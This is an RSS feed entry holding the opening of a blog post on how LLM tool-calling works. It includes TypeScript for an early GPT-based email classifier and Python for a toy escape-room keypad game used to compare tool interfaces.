<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Can.ac</title><link>https://blog.can.ac/</link><description>Recent content on Can.ac</description><generator>Hugo</generator><language>en-GB</language><lastBuildDate>Mon, 03 Aug 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.can.ac/index.xml" rel="self" type="application/rss+xml"/><item><title>The Minutiae of Tool-calling</title><link>https://blog.can.ac/2026/08/03/the-minutiae-of-tool-calling/</link><pubDate>Mon, 03 Aug 2026 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2026/08/03/the-minutiae-of-tool-calling/</guid><description>&lt;p&gt;Two years ago I was hosting my own SMTP server and had a simple goal: receiving one-time codes + the occasional human email. But I kept running into two issues:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It was a PITA to extract the number/link in a generic way&lt;/li&gt;
&lt;li&gt;It kept receiving spam, being a wild-card inbox&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This was around the time GPT 3 came out, but we didn&amp;rsquo;t have structured output yet, let alone tool-calls, so I came up with this beautiful strategy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Mail classifier.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;classifyMail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;createPipeline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;mail corpus&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;object&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;chance&lt;/span&gt;: &lt;span class="kt"&gt;z&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;number&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Chances of the email being important (password reset, verification etc.) and not filtered by the smart email filter.&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;Promotional, scam-like, spammy, and advertising content should receive a 0 score.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;linkOrCode&lt;/span&gt;: &lt;span class="kt"&gt;z.string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Any important link or code&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;summary&lt;/span&gt;: &lt;span class="kt"&gt;z.string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Summary of the body&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;English&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;createPipeline&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;Z&lt;/span&gt; &lt;span class="na"&gt;extends&lt;/span&gt; &lt;span class="na"&gt;z.ZodType&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;: &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;schema&lt;/span&gt;: &lt;span class="kt"&gt;Z&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cfg?&lt;/span&gt;: &lt;span class="kt"&gt;GptConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;lang&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;English&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;instruction&lt;/span&gt;: &lt;span class="kt"&gt;einstruction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;gpt-3.5-turbo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;temperature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;top_p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;instruction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;optimizePrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gpt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;User messages are &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Input is&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;einstruction&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; Reply with a JSON structured with schema&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="sb"&gt;` strictly in &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; &amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;createTypeSchema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; &amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt; `&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;+ repairing JSON, stripping fences, etc., etc. Combine a bunch of these, and you end up with LangChain; which raised $10m despite being rendered obsolete within a few months &amp;amp; ofc pivoted since then, but I digress&lt;/p&gt;
&lt;p&gt;If you have not suffered through reinventing this stuff, chances are, you think tool calling is 👻 magic inference stuff 👻.&lt;/p&gt;
&lt;p&gt;This is OK, but as it goes with any engineering topic, my opinion is that if you don&amp;rsquo;t understand how the underlying layers work, you&amp;rsquo;re gonna run into issues. (duh no one would&amp;rsquo;ve guessed that coming from an RE guy).&lt;/p&gt;
&lt;p&gt;Let me first prove why it matters, and then we will ruin the magic.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x0-who-cares"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Who Cares?&lt;/h2&gt;
&lt;p&gt;You are trapped in a room with Claude. There&amp;rsquo;s a keypad near him with two buttons. One shows how far he is from the right combination, other submits the combination. Two wrong guesses, you&amp;rsquo;re out.&lt;/p&gt;
&lt;p&gt;Unfortunately you&amp;rsquo;re tied and you&amp;rsquo;re gonna have to instruct Claude.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compare_door_digit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret_digit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;secret_digit&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret_digit&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;try_probe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;Count one comparison and light up the position once it lands exactly.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;ROOM_DIGITS&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;invalid&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;compare_door_digit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_secret&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;submit_guess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;Consume one of two attempts for an exact-length digit-string code.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Malformed guesses (wrong type, wrong length, non-digits) are rejected
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; without consuming an attempt, so a schema-violating placeholder such
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; as `guess: 0` cannot burn the game.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;ROOM_DIGITS&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;invalid code: pass the full &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ROOM_DIGITS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-digit code as a string&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_counters&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;won&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;escaped room&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_counters&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;guesses&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;failed to escape: two wrong guesses&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;wrong: one guess remaining&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5 digits, 24 turns, optimal play is boring and obvious: binary-search all five positions in parallel (~17 comparisons), submit once. Any model can do this; a python REPL can do this, I know. Play along please.&lt;/p&gt;
&lt;p&gt;Here are five interfaces you could hand him:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Literal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# A. naive: one comparison per call&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
